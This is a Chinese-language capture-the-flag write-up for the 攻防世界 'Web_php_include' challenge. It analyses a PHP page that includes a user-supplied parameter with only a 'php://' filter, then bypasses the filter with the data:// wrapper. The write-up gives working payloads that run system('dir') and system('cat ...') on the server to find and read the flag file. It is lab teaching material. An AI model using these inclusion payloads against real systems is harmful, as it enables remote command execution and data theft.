# 0x00 代码分析

题目来自 - 攻防世界 - Web_php_include

打开页面是这样一段代码

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

strstr () 查找字符串首次出现的位置。返回字符串剩余部分

str_replace () 以其他字符替换字符串中的一些字符 (区分大小写)

str_replace

从代码中得知 page 中带有 php:// 的都会被替换成空

分析代码可知程序过滤掉了 page = 参数传入 php://

# 0x01 方法一 data://

由于代码过滤了 php:// 等 所以可以用 data:// 伪协议

使用方法:

  • data://text/plain,XXXX

  • data://text/plain;base64,xxxx (base64 编码后的数据)

先查找 flag 文件

1
2
3
<?php system("dir")?>
data 拼接后
?page=data://text/plain,<?php%20system("dir")?>

image-20210313165415501

显示目录下文件名称 猜测 fl4gisisish3r3.php 为 flag

使用 cat 命令显示内容 cat(英文全拼:concatenate)命令用于连接文件并打印到标准输出设备上。

1
<?php system("cat fl4gisisish3r3.php")?>

image-20210313165947567

f12 即可查询